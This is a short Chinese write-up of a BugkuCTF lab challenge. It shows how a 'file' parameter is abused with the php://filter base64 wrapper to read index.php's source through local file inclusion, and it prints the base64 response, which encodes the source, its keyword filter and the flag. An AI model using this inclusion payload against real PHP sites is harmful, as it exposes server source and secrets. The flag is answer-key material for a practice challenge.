BugkuCTF》》》》flag在index里

题目地址http://123.206.87.240:8005/post/index.php

这道题目里有经典的本地文件包含漏洞+php伪协议的结合应用

点击后

查看源码和抓包没有发现异常和有用的信息

点击显示test5的url “http://123.206.87.240:8005/post/index.php?file=show.php”中参数有file选项，让我们联想到了文件包含漏洞。构造url=“http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php”

返回base64编码

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

base64解码